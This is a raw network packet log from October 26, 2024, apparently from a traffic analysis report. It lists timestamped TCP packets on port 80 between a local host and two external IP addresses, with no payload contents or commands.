Oct 26, 2024 07:27:11.831222057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831229925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831240892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831248999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831253052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831257105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831271887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831274986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831278086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831293106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831304073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831309080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831326008 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831334114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831348896 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831351995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831368923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831370115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831384897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831391096 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831402063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831404924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831414938 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831434965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831439018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831456900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831485987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831496954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831501007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831518888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831520081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831546068 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831556082 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831573963 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831593037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831607103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831624985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831625938 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831640959 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831646919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831669092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831684113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831686020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831701040 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831710100 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831731081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831739902 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831754923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831775904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831784964 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831789017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831804991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831809044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831819057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831823111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831841946 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831844091 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831844091 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831857920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831861019 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831873894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831880093 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831891060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831897020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831907988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831911087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831933022 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831943035 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832020044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832060099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832070112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832087040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832109928 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832118988 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832130909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832149029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832164049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832184076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832211018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832278967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832300901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832315922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832330942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832339048 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832356930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832364082 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832374096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832387924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832400084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832400084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832405090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832411051 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832429886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832429886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832447052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832447052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832464933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832468987 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832492113 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832495928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832504988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832506895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832510948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832525969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832539082 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832544088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832561016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832566977 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832576036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832586050 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832592010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832608938 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832609892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832623959 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832626104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832644939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832648039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832648039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.832674980 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.832690954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833062887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833076954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833101034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833127022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833143950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833158970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833173990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833178997 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833190918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833193064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833209038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833216906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833233118 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833236933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833247900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833259106 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833272934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833291054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833293915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833329916 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833380938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833396912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833420038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833421946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833434105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833441019 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833457947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833460093 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833473921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833486080 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833489895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833506107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833519936 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833519936 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833522081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833547115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833548069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833563089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833569050 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833580017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833594084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833596945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833609104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833616972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833621979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833632946 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833642006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833650112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833656073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833664894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.833672047 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833678961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.833698034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.869988918 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:11.870002985 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:11.870024920 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:11.870040894 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:11.870055914 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:11.870070934 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:11.870107889 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:11.870132923 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:11.870146036 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:11.870146990 CEST	49994	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:11.870163918 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:11.870193005 CEST	49994	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:11.870229006 CEST	49994	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:11.872457981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.872472048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.872487068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.872556925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.872556925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.875447035 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:11.875462055 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:11.875477076 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:11.875533104 CEST	49994	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:11.875572920 CEST	49994	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:11.875878096 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:11.876763105 CEST	49994	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:11.882438898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.882452965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.882508039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.882553101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.882594109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.882622004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.882638931 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.882663965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.882688999 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.882705927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.882720947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.882736921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.882750034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.882761955 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.882764101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.882790089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.882791996 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.882805109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.882807016 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.882822037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.882842064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.882847071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.882847071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.882858038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.882860899 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.882879972 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.882899046 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.915550947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.915565968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.915591955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.915607929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.915623903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.915653944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.915702105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.915803909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.915851116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.915867090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.915894032 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.915905952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.915930986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.915945053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.915961981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.915967941 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.915987015 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.915987015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.915994883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916004896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916019917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916024923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916043043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916047096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916050911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916069984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916084051 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916091919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916105032 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916107893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916121006 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916131020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916136980 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916148901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916160107 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916160107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916176081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916178942 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916191101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916198969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916207075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916212082 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916223049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916228056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916241884 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916249990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916260958 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916277885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916286945 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916294098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916309118 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916313887 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916327953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916332960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916347027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916353941 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916363001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916363955 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916378975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916380882 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916393995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916400909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916415930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916418076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916434050 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916436911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916450024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916472912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916475058 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916475058 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916486025 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916490078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916512012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916512012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916532040 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916537046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916546106 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916553974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916569948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916573048 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916591883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916593075 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916609049 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916611910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916627884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916629076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916642904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916651964 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916659117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916661978 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916675091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916682959 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916692019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916692972 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916707039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916712046 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916724920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916729927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916739941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916748047 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916755915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.916764021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916774988 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.916789055 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.917079926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917095900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917118073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.917133093 CEST	80	49991	185.215.113.84	192.168.2.6
